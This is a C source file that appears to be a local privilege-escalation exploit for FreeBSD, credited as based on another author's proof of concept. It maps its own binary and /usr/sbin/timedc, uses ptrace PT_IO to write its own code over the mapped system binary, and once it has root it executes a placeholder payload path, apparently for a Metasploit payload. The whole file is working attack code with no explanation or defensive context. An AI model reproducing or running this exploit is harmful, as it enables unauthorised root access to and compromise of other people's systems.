#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>

#define TG "/usr/sbin/timedc"

/*
This is based on Hunger's PoC
*/
int main(int ac, char **av) {
   int from_fd, to_fd, status;
   struct stat st;
   struct ptrace_io_desc piod;
   char *s, *d;
   int pid;
   char *bin = "MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890";  // is just a place holder

   if (geteuid() == 0)  {
        setuid(0);
        execl(bin, bin, NULL);
        return 0;
   }

  from_fd = open(av[0], O_RDONLY);
  to_fd = open(TG, O_RDONLY);
  if ( from_fd == -1 || to_fd == -1 )                return 0;
  if (stat(av[0], &st) == -1)                        return 0;

  s = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, from_fd, (off_t)0);
  d = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0);

   if (s == MAP_FAILED || d == MAP_FAILED)           return 0;
   if ((pid = fork()) == -1)                         return 0;
   if (!pid) {
        if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) return 0;
  }

   if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)        return 0;
   if (wait(&status) == -1)                          return 0;

   piod.piod_op = PIOD_WRITE_D;
   piod.piod_offs = d;
   piod.piod_addr = s;
   piod.piod_len  = st.st_size;

   if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)  return 0;
   execl(TG, TG, NULL);

  return 0;
}
